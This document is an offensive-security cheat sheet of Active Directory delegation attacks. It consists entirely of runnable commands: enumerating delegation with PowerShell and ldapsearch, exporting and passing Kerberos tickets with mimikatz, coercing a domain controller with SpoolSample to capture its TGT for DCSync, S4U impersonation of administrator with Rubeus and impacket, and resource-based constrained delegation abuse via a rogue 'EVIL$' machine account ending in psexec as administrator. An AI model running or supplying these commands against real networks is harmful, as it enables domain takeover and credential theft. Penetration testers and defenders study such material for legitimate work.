Delegation Attacks

Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-DomainComputer -Unconstrained

ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "[email protected]" -w 'pass' "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName

# On compromised host with unconstrained delegation
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt ticket.kirbi

.\SpoolSample.exe DC_HOSTNAME COMPROMISED_HOSTNAME

# Catch TGT
mimikatz # sekurlsa::tickets /export
# Use DC TGT for DCSync

Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.local /ptt

impacket-getST -spn cifs/target.domain.local -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.local/[email protected] -k -no-pass

impacket-getST -spn cifs/target.domain.local -impersonate administrator DOMAIN/svc_account -hashes :NTLM_HASH -dc-ip DC_IP

crackmapexec ldap DC_IP -u user -p pass -M maq

impacket-addcomputer DOMAIN/user:password -computer-name 'EVIL$' -computer-pass 'Password123' -dc-ip DC_IP

impacket-rbcd DOMAIN/user:password -delegate-from 'EVIL$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write

impacket-getST -spn cifs/target.domain.local -impersonate administrator DOMAIN/'EVIL$':'Password123' -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.local/administrator@target -k -no-pass